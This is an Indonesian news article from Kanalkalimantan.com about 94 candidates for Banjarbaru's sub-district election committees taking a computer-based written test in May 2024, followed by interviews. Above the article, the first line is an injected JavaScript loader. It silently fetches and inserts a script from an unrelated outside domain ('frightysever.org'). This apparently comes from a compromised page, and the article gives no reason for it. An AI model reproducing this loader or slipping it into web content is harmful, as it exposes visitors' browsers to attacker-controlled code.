(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU – Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mengikuti tes tertulis dengan metode Computer Assested Test (CAT), Selasa (7/5/2024) pagi.

Tes tertulis dilaksanakan di SMK Telkom Banjarbaru selama dua hari. Pada hari pertama diikuti oleh 39 orang calon PPK dan hari kedua diikuti 55 orang calon PPK.

Komisioner KPU Banjarbaru Divisi Sosialisasi Pendidikan Pemilih Partisipasi Masyarakat (Sosdiklih Parmas) dan SDM, Hereyanto mengatakan, tes pada hari pertama berjalan lancar.

“Kendala yang ada hanya beberapa peserta yang datang terlambat, tapi kemudian tetap mengikuti tes dengan lancar,” ujar Hereyanto saat diwawancarai Kanalkalimantan.com.

Komisioner KPU Banjarbaru Hereyanto. Foto: wanda

Dia menjelaskan, peserta tes yang terlambat masih diperbolehkan untuk masuk ke ruangan untuk mengikuti tes, namun dengan tidak ada penambahan waktu.

“Tapi kalau tidak hadir otomatis yang bersangkutan tidak ada nilainya, maka kemudian dinyatakan gugur,” sambung dia.

Hari pertama ini tes dengan metode CAT ini dilakukan untuk calon PPK di Kecamatan Landasan Ulin dan Liang Anggang.

Kemudian tes dilanjutkan pada hari kedua untuk calon PPK dari Kecamatan Banjarbaru Utara, Banjarbaru Selatan, dan Cempaka.

Nilai hasil tes ini, sambung dia, akan keluar saat peserta menyelesaikan tes. Kemudian pengumuman kelulusan tes tertulis akan disampaikan pada tanggal 9-10 Mei 2024.

“Untuk pengumuman hasil sampaikan pada tanggal 9-10 Mei 2024 untuk kemudian masuk ke proses tahapan wawancara yang akan diselenggarakan pada tanggal 11, 12, dan 13 Mei 2024,” ungkapnya.

Sementara itu masing-masing peserta yang akan pilih dari hasil wawancara ada sebanyak 5 orang setiap kecamatan.

“Untuk peserta yang akan mengikuti wawancara sesuai ketentuan itu minimal 2 kali kebutuhan dan maksimal 3 kali kebutuhan cuma kan kita akan melakukan rapat pleno berapa yang akan lolos untuk mengikuti wawancara,” jelasnya.

Disebutkan Hereyanto, dari total 94 peserta yang mengikuti tes tertulis sebagian besar ialah mereka yang pernah menjadi penyelenggara, baik Pemilu 2024 maupun Pilkada 2020, dan Pemilu 2019. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor : bie